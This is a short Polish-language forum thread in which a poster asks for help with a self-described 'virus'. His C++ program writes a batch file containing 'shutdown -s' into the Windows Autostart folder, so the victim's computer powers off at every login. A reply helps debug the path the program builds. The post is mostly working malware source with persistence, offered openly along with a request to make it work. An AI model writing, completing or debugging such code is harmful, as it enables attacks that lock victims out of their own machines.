Pokaż wyniki od 1 do 2 z 2
  1. #1

    Domyślnie Spacja w ścieżce

    Najpierw się przywitam bo to pierwszy post na tym forum. Więc witam . Naszła mnie ochota ostatnio na napisanie "wirusa" który umieszcza w folderze Autostart skrypt bat powodujący wyłączenie się komputera. No i wszystko fajnie, tylko że w ścieżce do wspomnianego wcześniej folderu jest taki jeden o nazwie Menu Start. Napisałem warunek sprawdzający czy udało się otworzyć plik do zapisu. Więc jak podałem tą ścieżkę to wyskoczył błąd. Więc zacząłem sprawdzać po kolei wszystkie foldery w ścieżce i błąd zaczął wyskakiwać dopiero przy tym Menu Start. Mam wrażenie że program nie chce wejść do tego folderu ze względu na spację w nazwie. Czy da się to jakoś obejść? Poniżej zamieszczam kod:

    Kod:
    #include <iostream>
    #include <windows.h>
    #include <fstream>
    #include <string>
    
    using namespace std;
    
    int main()
    {
        char name[ 100 ];
        DWORD dwname = sizeof( name );
        GetUserName( name, & dwname );
        string s1 = "C:/Users/";
        string s2 = "/AppData/Roaming/Microsoft/Windows/Menu Start/Programy/Autostart/plik.bat";
        string s3 = s1 + name + s2;
        fstream plik;
        plik.open(s3.c_str(), ios::out);
        if (plik.good() == false)
        {
            cout << "blad";
        }
        plik << "shutdown -s" << endl;
        plik.close();
    }

  2. #2

    Domyślnie

    Zmienna s1 kończy się slashem (/), a zmienna s2 zaczyna slashem. Masz podwójny slash może przez to.

Podobne wątki

  1. Plik bat i spacja
    Przez Dex1987
    w forum Zdalna administracja (RATs)
    Odpowiedzi: 10
    Ostatni post / autor: 22-06-2004, 17:06

Uprawnienia

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •